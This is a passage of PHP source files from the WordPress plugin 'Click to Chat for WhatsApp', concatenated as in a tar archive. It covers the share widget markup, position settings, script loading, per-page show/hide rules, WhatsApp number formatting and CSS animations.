            <div class="<?= $ht_ctc_share['class_names'] ?>" 
                style="display: none;"
                data-return_type="<?= $type ?>" 
                data-share_text="<?= $ht_ctc_share['share_text'] ?>" 
                data-is_ga_enable="<?= $ht_ctc_os['is_ga_enable'] ?>" 
                data-is_fb_pixel="<?= $ht_ctc_os['is_fb_pixel'] ?>" 
                data-ga_ads="<?= $ht_ctc_os['ga_ads'] ?>" 
                data-webandapi="<?= $ht_ctc_share['webandapi'] ?>" 
                data-display_mobile="<?= $ht_ctc_share['display_mobile'] ?>" 
                data-display_desktop="<?= $ht_ctc_share['display_desktop'] ?>" 
                data-css="<?= $ht_ctc_share['css'] ?>" 
                data-position="<?= $ht_ctc_share['position'] ?>" 
                data-position_mobile="<?= $ht_ctc_share['position_mobile'] ?>" 
                data-show_effect="<?= $ht_ctc_os['show_effect'] ?>" 
                <?= $ht_ctc_os['data-attributes'] ?>  
                >
                <?php 
                if ( isset( $options['select_styles_issue'] ) ) {
                    ?>
                    <div class="ht_ctc_desktop_share"><?php include $path_d; ?></div>
                    <div class="ht_ctc_mobile_share"><?php include $path_m; ?></div>
                    <?php
                } else {
                    include $path;
                }
                ?>
            </div>
            <?php
            do_action('ht_ctc_ah_after_fixed_position');
        }

        
    }

}

// new HT_CTC_Share();

$ht_ctc_share = new HT_CTC_Share();
add_action( 'wp_footer', array( $ht_ctc_share, 'share' ) );


endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/commons/position-to-place.php000064400000003336147510273110020701 0ustar00<?php
/**
 * position to place
 * @included from - class-ht-ctc-chat/group/share.php
 */

// position hooks
$position_type = apply_filters( 'ht_ctc_fh_position_type', 'fixed', $options );
$position_type_mobile = apply_filters( 'ht_ctc_fh_position_type_mobile', 'fixed', $options );

// desktop position
$side_1 = esc_attr( $options['side_1'] );
$side_1_value = esc_attr( $options['side_1_value'] );
$side_2 = esc_attr( $options['side_2'] );
// @uses position, call to action ..   (cta - desktop value only uses for both devices. )
$side_2 = apply_filters( 'ht_ctc_fh_side_2', $side_2 );
$side_2_value = esc_attr( $options['side_2_value'] );

$position = "position: $position_type; $side_1: $side_1_value; $side_2: $side_2_value;";



if ( isset($options['same_settings']) ) {
    $position_mobile = $position;
} else {
    // Mobile position
    $mobile_side_1 = ( isset( $options['mobile_side_1']) ) ? esc_attr( $options['mobile_side_1'] ) : '';
    $mobile_side_1_value = ( isset( $options['mobile_side_1_value'])) ? esc_attr( $options['mobile_side_1_value'] ) : '';
    $mobile_side_2 = ( isset( $options['mobile_side_2']) ) ? esc_attr( $options['mobile_side_2'] ) : '';
    $mobile_side_2 = apply_filters( 'ht_ctc_fh_mobile_side_2', $mobile_side_2 );
    $mobile_side_2_value = ( isset( $options['mobile_side_2_value'])) ? esc_attr( $options['mobile_side_2_value'] ) : '';

    $position_mobile = "position: $position_type_mobile; $mobile_side_1: $mobile_side_1_value; $mobile_side_2: $mobile_side_2_value;";
}

// wp_is_mobile way of position (amp may need this)
// js will overwrite this based on screen size
$default_position = $position;
if ( 'yes' == $is_mobile ) {
    $default_position = $position_mobile;
}click-to-chat-for-whatsapp/new/inc/commons/class-ht-ctc-scripts.php000064400000007757147510273110021320 0ustar00<?php
/**
* Register css styles, javascript files front end
*
* @package ctc
* @since 2.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Scripts' ) ) :

class HT_CTC_Scripts {

    public function __construct() {
        $this->hooks();
	}

    public function hooks() {
        add_action('wp_enqueue_scripts', [$this, 'register_scripts'], 1 );
    }

    /**
	 * Register styles - front end ( non admin )
	 *
	 * @since 1.0
	 */
    function register_scripts() {

        $os = get_option('ht_ctc_othersettings');
        $cb = get_option('ht_ctc_code_blocks');

        /**
         * if amp_is_request no need to add scripts.
         * 
         * Note: amp_is_request should call after 'parse_query' action. so check here only. i.e. in wp_enqueue_scripts 
         * ref: https://amp-wp.org/reference/function/amp_is_request/
         * 
         * @since 3.20
         */
        if ( isset($os['amp']) ) {
            if ( function_exists( 'amp_is_request' ) && amp_is_request() ) {
                return;
            }
        }

        // true/false
        $load_app_js_bottom = apply_filters( 'ht_ctc_fh_load_app_js_bottom', true );

        // js
        $css = 'main.css';
        $js = 'app.js';
        $woo_js = 'woo.js';
        $group_js = 'group.js';
        $share_js = 'share.js';

        if ( defined('HT_CTC_DEBUG_MODE') ) {
            $css = 'dev/main.dev.css';
            $js = 'dev/app.dev.js';
            $woo_js = 'dev/woo.dev.js';
            $group_js = 'dev/group.dev.js';
            $share_js = 'dev/share.dev.js';
        }


        do_action('ht_ctc_ah_scripts_before');

        // enqueue main.css
        wp_enqueue_style( 'ht_ctc_main_css', plugins_url( "new/inc/assets/css/$css", HT_CTC_PLUGIN_FILE ), '', HT_CTC_VERSION );

        // app.js for all (chat)
        wp_enqueue_script( 'ht_ctc_app_js', plugins_url( "new/inc/assets/js/$js", HT_CTC_PLUGIN_FILE ), array ( 'jquery' ), HT_CTC_VERSION, $load_app_js_bottom );

        // woocommerce
        if ( class_exists( 'WooCommerce' ) ) {

            // if - cart layout option is checked. 
            $woo_options = get_option('ht_ctc_woo_options');

            if ( isset( $woo_options['woo_single_layout_cart_btn']) || isset( $woo_options['woo_shop_layout_cart_btn']) ) {
                wp_enqueue_script( 'ht_ctc_woo_js', plugins_url( "new/inc/assets/js/$woo_js", HT_CTC_PLUGIN_FILE ), array ( 'jquery' ), HT_CTC_VERSION, $load_app_js_bottom );
            }

        }

        /**
         * Custom css
         * custom css code. ht_ctc_main_css - already enqueued above
         * dont use esc_attr. quotes, .. may not work.
         */
        $custom_css = ( isset ( $cb['custom_css'] ) ) ? ( $cb['custom_css'] ) : '';

        if ( '' !== $custom_css ) {

            if ( function_exists('sanitize_textarea_field') ) {
                $custom_css = sanitize_text_field( $custom_css );
            } else {
                $custom_css = '';
            }

            // to compress css
            $custom_css = preg_replace( '/\s+/', ' ', $custom_css );

            $allowed_html = wp_kses_allowed_html( 'post' );
		    $custom_css = wp_kses($custom_css, $allowed_html);

            wp_add_inline_style( 'ht_ctc_main_css', $custom_css );
        }


        // group.js
        if ( isset ( $os['enable_group'] ) ) { 
            wp_enqueue_script( 'ht_ctc_group_js', plugins_url( "new/inc/assets/js/$group_js", HT_CTC_PLUGIN_FILE ), array ( 'jquery', 'ht_ctc_app_js' ), HT_CTC_VERSION, $load_app_js_bottom );
        }

        // share.js
        if ( isset ( $os['enable_share'] ) ) { 
            wp_enqueue_script( 'ht_ctc_share_js', plugins_url( "new/inc/assets/js/$share_js", HT_CTC_PLUGIN_FILE ), array ( 'jquery', 'ht_ctc_app_js' ), HT_CTC_VERSION, $load_app_js_bottom );
        }

        do_action('ht_ctc_ah_scripts_after');

    }

}


new HT_CTC_Scripts();


endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/commons/show-hide.php000064400000033232147510273110017220 0ustar00<?php
/**
 * 
 * @included from - class-ht-ctc-{chat/group/share}.php
 * 
 * sets $display - yes to show styles or no to hide styles
 * @updated 3.3.3
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$this_page_id = get_the_ID();

// yes to display style and no to hide styles
// @uses at 'class-ht-ctc-{chat/group/share}.php'
$display = 'yes';

$display_fallback = array('global_display'=>'show');

$display_settings = (isset($options['display'])) ? $options['display'] : $display_fallback;

$post_type = get_post_type();



$show_or_hide = (isset($display_settings['global_display'])) ? esc_html($display_settings['global_display']) : 'show';


// new way..
if ( 'hide' == $show_or_hide ) {
    // global value: hide on all pages
    $display = 'no';

    // if any page override to show

    // is_home and is_front_page - combined. 
    if ( is_home() || is_front_page() ) {
        if ( isset( $display_settings['home'] ) && 'show' == $display_settings['home'] ) {
            $display = 'yes';
            return;
        }
    }


    if ( is_singular() ) {
        // singular post .. any post type, single page

        
        // is_single (post type: posts or other(custom post type or so ..), but not pages )
        if ( is_single() ) {
            
            if ( 'post' == $post_type ) {
                // post type: post (singular page)
                if ( isset( $display_settings['posts'] ) && 'show' == $display_settings['posts'] ) {
                    $display = 'yes';
                    return;
                }
            } else {
                // custom post type
                $custom_post_types = get_post_types( array('public' => true, '_builtin' => false) );
                unset($custom_post_types['product']);

                if ( !empty($custom_post_types ) ) {
                    if ( in_array( $post_type, $custom_post_types ) ) {
                        if ( isset( $display_settings[$post_type] ) && 'show' == $display_settings[$post_type] ) {
                            $display = 'yes';
                            return;
                        }
                    }
                }
                
            }
        }

        // post type: page (but not home/front page)
        if ( is_page() ) {
            if ( ( !is_home() ) && ( !is_front_page() ) ) {
                if ( isset( $display_settings['pages'] ) && 'show' == $display_settings['pages'] ) {
                    $display = 'yes';
                    return;
                }
            }
        }

        // woocommerce (shop page is at archive)
        if ( class_exists( 'WooCommerce' ) ) {
            
            if ( function_exists( 'is_product' ) && is_product() ) {
                if ( isset( $display_settings['woo_product'] ) && 'show' == $display_settings['woo_product']  ) {
                    $display = 'yes';
                    return; 
                }
            }

            if ( function_exists( 'is_cart' ) && is_cart() ) {
                if ( isset( $display_settings['woo_cart'] ) && 'show' == $display_settings['woo_cart']  ) {
                    $display = 'yes';
                    return; 
                }
            }

            /**
             * @since 3.5.3
             * this have to be before checkout - if this value is not set, no problem - checkout will handle this
             */
            if ( function_exists( 'is_order_received_page' ) && is_order_received_page() ) {
                if ( isset( $display_settings['woo_order_received'] ) && 'show' == $display_settings['woo_order_received']  ) {
                    $display = 'yes';
                    return; 
                }
            }

            // its a checkout page - but in its not a thank you page
            if ( function_exists( 'is_checkout' ) && is_checkout() ) {
                if ( isset( $display_settings['woo_checkout'] ) && 'show' == $display_settings['woo_checkout']  ) {
                    // its not a thank you page
                    if ( function_exists( 'is_order_received_page' ) && !is_order_received_page() ) {
                        $display = 'yes';
                        return;
                    }
                }
            }

            if ( function_exists( 'is_account_page' ) && is_account_page() ) {
                if ( isset( $display_settings['woo_account'] ) && 'show' == $display_settings['woo_account']  ) {
                    $display = 'yes';
                    return; 
                }
            }

        }
    
        // based on post id's
        $pages_list_toshow = (isset($display_settings['list_showon_pages'])) ? esc_html($display_settings['list_showon_pages']) : '';
        $pages_list_toshow_array = explode(',', $pages_list_toshow);

        if ( is_array($pages_list_toshow_array) && $pages_list_toshow_array[0] ) {
            if ( in_array( $this_page_id, $pages_list_toshow_array ) ) {
                $display = 'yes';
                return;
            }
        }

        // based on catergorys - list
        $list_showon_cat = (isset($display_settings['list_showon_cat'])) ? esc_html( $display_settings['list_showon_cat'] ) : '';
        
        // avoid calling foreach, explode when hide on categorys list is empty
        if( '' !== $list_showon_cat ) {
        
            //  Get current post Categorys list and create an array for that..
            $current_categorys_array = array();
            $current_categorys = get_the_category();
            foreach ( $current_categorys as $category ) {
                $current_categorys_array[] = strtolower($category->name);
            }
        
            $list_showon_cat_array = explode(',', $list_showon_cat);
        
            foreach ( $list_showon_cat_array as $category ) {
                $category_trim = trim($category);
                if ( in_array( strtolower($category_trim), $current_categorys_array ) ) {
                    $display = 'yes';
                    return;
                }
            }
        }
    } elseif ( is_archive() ) {
        // loop posts

        // if archive page is hidden, even if shop arcive is shown, it not working as expected.
        // woocommerce shop - archive
        if ( class_exists( 'WooCommerce' ) ) {
            if ( function_exists( 'is_shop' ) && is_shop() ) {
                if ( isset( $display_settings['woo_shop'] ) && 'show' == $display_settings['woo_shop']  ) {
                    $display = 'yes';
                    return; 
                }
            }
        }

        // category
        if ( is_category() ) {
            if ( isset( $display_settings['category'] ) && 'show' == $display_settings['category'] ) {
                $display = 'yes';
                return;
            }
        }
        
        // archive
        if ( is_archive() ) {
            if ( isset( $display_settings['archive'] ) && 'show' == $display_settings['archive'] ) {
                $display = 'yes';
                return;
            }
        }
    }


    // 404 page
    if ( is_404() ) {
        if ( isset( $display_settings['page_404'] ) && 'show' == $display_settings['page_404'] ) {
            $display = 'yes';
            return;
        }
    }

} else {
    // global value: show on all pages
    $display = 'yes';

    // if any page override to hide

    // is_home and is_front_page - combined. 
    if ( is_home() || is_front_page() ) {
        if ( isset( $display_settings['home'] ) && 'hide' == $display_settings['home'] ) {
            $display = 'no';
            return;
        }
    }

    if ( is_singular() ) {
        // singular post .. any post type, single page

        // is_single (post type: posts or other(custom post type or so ..), but not pages )
        if ( is_single() ) {
            
            if ( 'post' == $post_type ) {
                
                if ( isset( $display_settings['posts'] ) && 'hide' == $display_settings['posts'] ) {
                    $display = 'no';
                    return;
                }
            } else {
                // custom post type (but not woo single product pages)

                $custom_post_types = get_post_types( array('public' => true, '_builtin' => false) );
                unset($custom_post_types['product']);

                if ( !empty($custom_post_types ) ) {
                    if ( in_array( $post_type, $custom_post_types ) ) {
                        if ( isset( $display_settings[$post_type] ) && 'hide' == $display_settings[$post_type] ) {
                            $display = 'no';
                            return;
                        }
                    }
                }
                
            }
        }
        
        // page
        if ( is_page() ) {
            if ( ( !is_home() ) && ( !is_front_page() ) ) {
                if ( isset( $display_settings['pages'] ) && 'hide' == $display_settings['pages'] ) {
                    $display = 'no';
                    return;
                }
            }
        }

        // woocommerce (shop page is at archive)
        if ( class_exists( 'WooCommerce' ) ) {
            
            if ( function_exists( 'is_product' ) && is_product() ) {
                if ( isset( $display_settings['woo_product'] ) && 'hide' == $display_settings['woo_product'] ) {
                    $display = 'no';
                    return; 
                }
            }

            if ( function_exists( 'is_cart' ) && is_cart() ) {
                if ( isset( $display_settings['woo_cart'] ) && 'hide' == $display_settings['woo_cart']  ) {
                    $display = 'no';
                    return; 
                }
            }

            // this have to be before checkout
            if ( function_exists( 'is_order_received_page' ) && is_order_received_page() ) {
                if ( isset( $display_settings['woo_order_received'] ) && 'hide' == $display_settings['woo_order_received']  ) {
                    $display = 'no';
                    return; 
                }
            }

            // its a checkout page - but in its not a thank you page
            if ( function_exists( 'is_checkout' ) && is_checkout() ) {
                if ( isset( $display_settings['woo_checkout'] ) && 'hide' == $display_settings['woo_checkout']  ) {
                    if ( function_exists( 'is_order_received_page' ) && !is_order_received_page() ) {
                        $display = 'no';
                        return; 
                    }
                }
            }

            if ( function_exists( 'is_account_page' ) && is_account_page() ) {
                if ( isset( $display_settings['woo_account'] ) && 'hide' == $display_settings['woo_account']  ) {
                    $display = 'no';
                    return; 
                }
            }

        }

        

        // based on post id's'
        $pages_list_tohide = (isset($display_settings['list_hideon_pages'])) ? esc_html($display_settings['list_hideon_pages']) : '';
        $pages_list_tohide_array = explode(',', $pages_list_tohide);

        if( ( is_single() || is_page() ) ) {
            if( is_array($pages_list_tohide_array) && $pages_list_tohide_array[0] ) {
                if( in_array( $this_page_id, $pages_list_tohide_array ) ) {
                    $display = 'no';
                    return;
                }
            }
        }

        // Hide styles on this catergorys - list
        $list_hideon_cat = (isset($display_settings['list_hideon_cat'])) ? esc_html( $display_settings['list_hideon_cat'] ) : '';
        
        // avoid calling foreach, explode when hide on categorys list is empty
        if( '' !== $list_hideon_cat ) {
        
            //  Get current post Categorys list and create an array for that..
            $current_categorys_array = array();
            $current_categorys = get_the_category();
            foreach ( $current_categorys as $category ) {
                $current_categorys_array[] = strtolower($category->name);
            }
        
            $list_hideon_cat_array = explode(',', $list_hideon_cat);
        
            foreach ( $list_hideon_cat_array as $category ) {
                $category_trim = trim($category);
                if ( in_array( strtolower($category_trim), $current_categorys_array ) ) {
                    $display = 'no';
                    return;
                }
            }
        }

        

    } elseif ( is_archive() ) {
        // loop posts

        // woocommerce shop - archive
        if ( class_exists( 'WooCommerce' ) ) {
            if ( function_exists( 'is_shop' ) && is_shop() ) {
                if ( isset( $display_settings['woo_shop'] ) && 'hide' == $display_settings['woo_shop']  ) {
                    $display = 'no';
                    return; 
                }
            }
        }

        // category
        if ( is_category() ) {
            if ( isset( $display_settings['category'] ) && 'hide' == $display_settings['category'] ) {
                $display = 'no';
                return;
            }
        }
        
        // archive
        if ( is_archive() ) {
            if ( isset( $display_settings['archive'] ) && 'hide' == $display_settings['archive'] ) {
                $display = 'no';
                return;
            }
        }

    }
    
    // 404 page
    if ( is_404() ) {
        if ( isset( $display_settings['page_404'] ) && 'hide' == $display_settings['page_404'] ) {
            $display = 'no';
            return;
        }
    }
    
    
}click-to-chat-for-whatsapp/new/inc/commons/ht-ctc-formatting.php000064400000002376147510273110020670 0ustar00<?php
/**
 * Formatting API
 * 
 * WooSingle product pages
 * 	update variable values - call to action, prefilled...
 * 
 * @since 3.4
 */

if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Variables.. woocommerce single product pages..
 * 
 * @uses 
 * 
 * @since 3.4
 * @param string $value		input value to convert variables on product page
 */
if ( ! function_exists('ht_ctc_woo_single_product_page_variables') ) {

    function ht_ctc_woo_single_product_page_variables( $value ) {

        // if woocommerce single product page
        if ( function_exists( 'is_product' ) && function_exists( 'wc_get_product' )) {
            if ( is_product() ) {

                $product = wc_get_product();

                $name = $product->get_name();
                // $title = $product->get_title();
                $price = $product->get_price();
                $regular_price = $product->get_regular_price();
                $sku = $product->get_sku();

                // variables works in default pre_filled also for woo pages.
                $value = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $value );
            }
        }

        return $value;
    }
}click-to-chat-for-whatsapp/new/inc/commons/class-ht-ctc-hooks.php000064400000015522147510273110020741 0ustar00<?php
/**
 * Hooks
 * @since 2.8
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Hooks' ) ) :

class HT_CTC_Hooks {

    public $version = HT_CTC_VERSION;

    public $main_options = '';
    public $other_options = '';

    public function __construct() {
        $this->hooks();
        $this->main_options = get_option('ht_ctc_main_options');
        $this->other_options = get_option('ht_ctc_othersettings');
    }

    private function hooks() {
        // ## Action Hooks ##
        add_action( 'ht_ctc_ah_before_fixed_position', array($this, 'comment') );
        add_action( 'ht_ctc_ah_before_fixed_position', array($this, 'css_styles') );


        // ## Filter Hooks ##
        add_filter( 'ht_ctc_fh_chat', array($this, 'chat_settings') );
        add_filter( 'ht_ctc_fh_load_app_js_bottom', array($this, 'load_app_js_bottom') );

        // other settings
        add_filter( 'ht_ctc_fh_os', array($this, 'other_settings') );
        
    }

    /**
     * Action Hooks
     */

    /**
     * css styles - before fixed position
     *
     * Animations
     */
    function css_styles() {

        $othersettings = get_option('ht_ctc_othersettings');

        // Entry effects
        // check: - entry effect - 'from center', 'from corner' - have to make work as similar to other effects
        $entry = ( isset( $othersettings['show_effect']) ) ? esc_attr( $othersettings['show_effect'] ) : '';
        
        if ( '' !== $entry && 'no-show-effects' !== $entry && 'From Corner' !== $entry ) {

            if ('From Center' == $entry) {
                $entry = 'center';
            }

            // From Corner animation handle from js
            // if ('From Corner' == $entry) {
            //     $entry = 'corner';
            // }

            $an_duration = '1s';
            $an_delay = "0s";
            $an_itr = '1';

            include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-animations.php';
            $animations = new HT_CTC_Animations();
            $animations->entry( $entry, $an_duration, $an_delay, $an_itr );
        }
        
        // Animation styles
        $an_type = ( isset( $othersettings['an_type']) ) ? esc_attr( $othersettings['an_type'] ) : '';
        
        if ( '' !== $an_type && 'no-animation' !== $an_type ) {

            $an_duration = '1s';
            $an_delay = ( isset( $othersettings['an_delay']) ) ? esc_attr( $othersettings['an_delay'] ) : '0';
            $an_delay = "{$an_delay}s";
            $an_itr = ( isset( $othersettings['an_itr']) ) ? esc_attr( $othersettings['an_itr'] ) : '1';

            include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-animations.php';
            $animations = new HT_CTC_Animations();
            $animations->animations( $an_type, $an_duration, $an_delay, $an_itr );
        }
        
    }
    
    // comment before floting styles
    function comment() {
        $comment = "<!-- Click to Chat - https://holithemes.com/plugins/click-to-chat/  v$this->version -->";
        echo $comment;
    }


    /**
     * Filter Hooks
     */

    /**
     * Chat settings filer
     * 
     * number format
     *
     * @param [type] $ht_ctc_chat
     * @return void
     */
    function chat_settings( $ht_ctc_chat ) {

        // Number format
        if( isset($ht_ctc_chat['number']) ) {

            if ( isset($ht_ctc_chat['intl']) && class_exists( 'HT_CTC_Formatting' ) && method_exists( 'HT_CTC_Formatting', 'wa_number' ) ) {
                $ht_ctc_chat['number'] = HT_CTC_Formatting::wa_number( $ht_ctc_chat['number'] );
            } else {
                // fallback if intl type input is not set. i.e. set number before intl input feature added
                $ht_ctc_chat['number'] = preg_replace('/\D/', '', $ht_ctc_chat['number'] );
                $ht_ctc_chat['number'] = ltrim( $ht_ctc_chat['number'], '0' );
            }
            
        }


        return $ht_ctc_chat;
    }

    /**
     * other settings - filter hook
     * 
     * animations, analytics, class names, ..
     *
     * @param array $ht_ctc_os
     * @return $ht_ctc_os
     */
    function other_settings( $ht_ctc_os ) {

        $othersettings = get_option('ht_ctc_othersettings');

        $ht_ctc_os['v'] = HT_CTC_VERSION;

        $ht_ctc_os['is_ga_enable'] = (isset( $othersettings['g_an'] )) ? 'yes' : 'no';
        // $ht_ctc_os['is_ga_enable'] = (isset( $othersettings['google_analytics'] )) ? 'yes' : 'no';
        // $ht_ctc_os['ga4'] = (isset( $othersettings['ga4'] )) ? 'yes' : 'no';

        $ht_ctc_os['is_fb_pixel'] = (isset( $othersettings['fb_pixel'] )) ? 'yes' : 'no';
        $ht_ctc_os['ga_ads'] = (isset( $othersettings['ga_ads'] )) ? 'yes' : 'no';
        
        $ht_ctc_os['show_effect'] = (isset($othersettings['show_effect'])) ? esc_attr($othersettings['show_effect']) : '';

        // show effect ? if 'From Corner' - then return time (for other effects - this->css_styles() handles)
        if ( 'From Corner' == $ht_ctc_os['show_effect'] ) {
            $ht_ctc_os['show_effect'] = 150;
        } 

        // Animations
        $ht_ctc_os['an_type'] = "no-animations";
        $an_type = ( isset( $othersettings['an_type']) ) ? esc_attr( $othersettings['an_type'] ) : 'no-animation';

        if ( 'no-animation' !== $an_type ) {
            // @used by group/share
            $ht_ctc_os['data-attributes'] .= "data-an_type='ht_ctc_an_$an_type' ";

            $ht_ctc_os['an_type'] = "ht_ctc_an_$an_type";
        }


        // class names - animations, entry effects, .. 
        $entry = ( isset( $othersettings['show_effect']) ) ? esc_attr( $othersettings['show_effect'] ) : 'no-show-effects';

        /**
         * entry effect - add class name only
         * reqular animation type added from js.
         */
        if ( 'no-show-effects'  !== $entry && 'From Corner'  !== $entry ) {

            if ('From Center' == $entry) {
                $entry = 'center';
            }

            if ('From Corner' == $entry) {
                $entry = 'corner';
            }

            $ht_ctc_os['class_names'] .= " ht_ctc_entry_animation ht_ctc_an_entry_$entry";
        }

        // Aria-hidden = true
        if ( isset($othersettings['aria']) ) {
            $ht_ctc_os['data-attributes'] .= " aria-hidden='true' ";
            $ht_ctc_os['attributes'] = " aria-hidden='true'";
        }

        

        return $ht_ctc_os;
    }



    function load_app_js_bottom( $load_app_js_bottom ) {
        
        // compatibility
        // autoptimize cache plugin
        if( class_exists('autoptimizeCache') ) {
            $load_app_js_bottom = false;
        }
        return $load_app_js_bottom;
    }



    


}

new HT_CTC_Hooks();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/commons/class-ht-ctc-formatting.php000064400000003267147510273110021773 0ustar00<?php
/**
 * formating
 * add static methods to make things easy
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Formatting' ) ) :

class HT_CTC_Formatting {


    public static function wa_number( $number ) {

        // remove all expect digits
        $number = preg_replace('/\D/', '', $number );
        // remove initial 0s
        $number = ltrim( $number, '0' );

        // https://faq.whatsapp.com/537057536884131/

        // All phone numbers in Argentina (country code "54") should have a "9" between the country code and area code.
        $number = preg_replace('/^54(0|1|2|3|4|5|6|7|8)/', '549$1', $number );
        // The prefix "15" must be removed so the final number will have 13 digits total (not needed)

        // Mexico (country code "52") need to have "1" after "+52"
        $number = preg_replace('/^52(0|2|3|4|5|6|7|8|9)/', '521$1', $number );

        return $number;
    }

    /**
     * is page builder editor..
     *  elementor, divi, ..
     */
    public static function is_page_builder_editor() {

        // $is_editor = false;
        $is_editor = 'n';

        if (isset($_GET)) {
            if ( isset($_GET['elementor-preview']) || isset($_GET['et_fb']) || isset($_GET['is-editor-iframe']) || isset($_GET['fl_builder']) || isset($_GET['siteorigin_panels_live_editor']) || isset($_GET['pagelayer-iframe']) || isset($_GET['vcv-editable']) ) {
                // $is_editor = true;
                $is_editor = 'y';
            }
        }

        $is_editor = apply_filters( 'ht_ctc_fh_is_page_builder_editor', $is_editor );

        return $is_editor;
    }


}
endif; // END class_exists check
click-to-chat-for-whatsapp/new/inc/commons/class-ht-ctc-values.php000064400000001365147510273110021115 0ustar00<?php
/**
 * variables/values.. db values.. 
 * 
 * ht_ctc()->values->ctc_options['number'];
 * or
 * $values = ht_ctc()->values->ctc_options;
 *      $values["number"];
 * 
 * similar to variables.php in /prev
 * @package ctc
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Values' ) ) :

class HT_CTC_Values {

    /**
     * db options table - ht_ctc_main_options values
     * 
     * @var array get_options ht_ctc_main_options
     */
    public $chat;

    public function __construct() {
        $this->chat_fn();
    }

    // main options
    public function chat_fn() {
        $this->chat =  get_option('ht_ctc_chat_options');
    }


}

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/commons/class-ht-ctc-ismobile.php000064400000003475147510273110021425 0ustar00<?php
/**
 * find mobile device or not ..
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_IsMobile' ) ) :

class HT_CTC_IsMobile {

    /**
     * return is mobile or not
     * while using in condition check with 1 not with 2
     * @var int - if mobile : 1 ?  2
     */
    public $is_mobile;

    public function __construct() {
        
        $this->is_mobile = $this->is_mobile();
        
    }


    /**
     * Check is mobile device or not
     * wp_is_mobile - if true then 1, else 2
     */
    public function is_mobile() {

        if ( function_exists( 'wp_is_mobile' ) ) {
            if ( wp_is_mobile() ) {
                return $this->is_mobile = 'yes';
            } else {
                return $this->is_mobile = 'no';
            }
        } else {
            // added like this  -  an user mention that wp_is_mobile uncauched error
            if ( $this->php_is_mobile() ) {
                return $this->is_mobile = 'yes';
            } else {
                return $this->is_mobile = 'no';
            }
        }

    }


    /**
     * @uses $this -> is_mobile
     * 
     * php way of find is mobile
     * fallback if wp_is_mobile is not defined 
     * @return boolean
     */
    public function php_is_mobile() {
        // return preg_match("/(android|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
        return preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackbe‌​rry|iemobile|bolt|bo‌​ost|cricket|docomo|f‌​one|hiptop|mini|oper‌​a mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|‌​webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
    }  



}

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/commons/class-ht-ctc-animations.php000064400000017622147510273110021763 0ustar00<?php
/**
 * 
 * Animation styles - regular, Entry effects
 * @since 2.8
 * @since 3.3.5 added entry effects
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Animations' ) ) :

class HT_CTC_Animations {


    // public function __construct() {
        // $this->base();
    // }

    
    
    /**
     * Animations
     * 
     * Based of animations - with delay, iteration
     * and then calls the necessary animation function.
     * 
     * @param string $a             animation type (bounce, .. )
     * @param string $ad            animation duration (1s)
     * @param string $d             time delay (1s)
     * @param int|[string] $i       interation count 1
     * 
     * $a($a) - it like calling bounce('bounce')
     */
    function animations( $a, $ad, $d, $i ) {
        ?>
        <style id="ht-ctc-animations">.ht_ctc_animation{animation-duration:<?= $ad ?>;animation-fill-mode:both;animation-delay:<?= $d ?>;animation-iteration-count:<?= $i ?>;}</style>
        <?php $this->$a("ht_ctc_an_$a"); ?>
        <?php
    }

    /**
     * Entry Animations
     */
    function entry( $a, $ad, $d, $i ) {
        ?>
        <style id="ht-ctc-entry-animations">.ht_ctc_entry_animation{animation-duration:<?= $ad ?>;animation-fill-mode:both;animation-delay:<?= $d ?>;animation-iteration-count:<?= $i ?>;}</style>
        <?php $this->$a("ht_ctc_an_entry_$a"); ?>
        <?php
    }
    

    // Animations types css for main, entry

    function bounce($a) {
        ?>
        <style id="<?= $a ?>">@keyframes bounce{from,20%,53%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(0.755,0.05,0.855,0.06);transform:translate3d(0,-30px,0) scaleY(1.1)}70%{animation-timing-function:cubic-bezier(0.755,0.05,0.855,0.06);transform:translate3d(0,-15px,0) scaleY(1.05)}80%{transition-timing-function:cubic-bezier(0.215,0.61,0.355,1);transform:translate3d(0,0,0) scaleY(0.95)}90%{transform:translate3d(0,-4px,0) scaleY(1.02)}}<?= '.'.$a ?>{animation-name:bounce;transform-origin:center bottom}</style>
        <?php
    }

    function flash($a) {
        ?>
        <style id="<?= $a ?>">@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}<?= '.'.$a ?>{animation-name:flash}</style>
        <?php
    }

    function pulse($a) {
        ?>
        <style id="<?= $a ?>">@keyframes pulse{from{transform:scale3d(1,1,1)}50%{transform:scale3d(1.05,1.05,1.05)}to{transform:scale3d(1,1,1)}}<?= '.'.$a ?>{animation-name:pulse;animation-timing-function:ease-in-out}</style>
        <?php
    }

    function heartbeat($a) {
        ?>
        <style id="<?= $a ?>">@keyframes heartBeat{0%{transform:scale(1)}14%{transform:scale(1.3)}28%{transform:scale(1)}42%{transform:scale(1.3)}70%{transform:scale(1)}}<?= '.'.$a ?>{animation-name:heartBeat;animation-duration:calc(1s * 1.3);animation-duration:calc(var(1) * 1.3);animation-timing-function:ease-in-out}</style>
        <?php
    }

    function flip($a) {
        ?>
